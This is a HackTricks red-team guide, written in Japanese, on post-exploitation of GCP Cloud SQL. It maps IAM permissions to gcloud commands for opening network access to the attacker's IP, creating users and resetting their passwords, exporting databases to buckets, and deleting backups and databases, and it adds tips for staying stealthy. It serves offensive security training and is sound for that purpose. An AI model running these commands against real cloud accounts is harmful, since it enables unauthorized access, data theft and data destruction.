GCP - Cloud SQL Post Exploitation

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Cloud SQL

Cloud SQL の詳細については次を参照してください:

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

データベースに接続するには、database port へのアクセスusernamepassword を知っていれば十分で、IAM の要件はありません。つまり、データベースが public IP address を持っている場合、簡単な方法は allowed networks を更新して your own IP address がアクセスできるようにする ことです。

自分の IP を許可して database に接続する ```bash # Use --assign-ip to make the database get a public IPv4 gcloud sql instances patch $INSTANCE_NAME \ --authorized-networks "$(curl ifconfig.me)" \ --assign-ip \ --quiet

mysql -h <ip_db> # If mysql

With cloudsql.instances.get you can use gcloud directly

gcloud sql connect mysql –user=root –quiet

</details>

また、**`--no-backup`** を使用してデータベースのバックアップを**妨害する**ことも可能です。

これらが要件として書かれているため、**`cloudsql.instances.connect`** と **`cloudsql.instances.login`** の権限が正確に何をするものか私は完全には確信が持てません。もしご存知ならPRを送ってください!

### `cloudsql.users.list`

データベースの**全ユーザーの一覧**を取得します:

<details>

<summary>データベースのユーザー一覧</summary>
```bash
gcloud sql users list --instance <intance-name>

cloudsql.users.create

この権限により、データベース内に新しいユーザーを作成することができます:

データベースユーザーを作成 ```bash gcloud sql users create --instance --password ```

cloudsql.users.update

この権限はデータベース内のユーザーを更新することを許可します。たとえば、そのパスワードを変更できます:

ユーザーのパスワードを更新 ```bash gcloud sql users set-password --instance --password ```

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

バックアップには古い機密情報が含まれている可能性があるため、確認する価値がある。
データベース内でバックアップを復元する:

データベースのバックアップを復元 ```bash gcloud sql backups restore --restore-instance ```

よりステルスに行うには、現在稼働中のデータベースで復元するのではなく、新しい SQL インスタンスを作成してそちらでデータを復元することを推奨します。

cloudsql.backupRuns.delete

この権限はバックアップを削除することを許可します:

バックアップを削除 ```bash gcloud sql backups delete --instance ```

cloudsql.instances.export, storage.objects.create

データベースをエクスポートする — Cloud Storage Bucket にエクスポートして、そこからアクセスできるようにします:

データベースをバケットにエクスポート ```bash # Export sql format, it could also be csv and bak gcloud sql export sql --database ```

cloudsql.instances.import, storage.objects.get

データベースをインポート(上書き)を Cloud Storage Bucket から実行:

バケットからデータベースをインポート ```bash # Import format SQL, you could also import formats bak and csv gcloud sql import sql ```

cloudsql.databases.delete

db インスタンスからデータベースを削除する:

データベースを削除 ```bash gcloud sql databases delete --instance ```

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする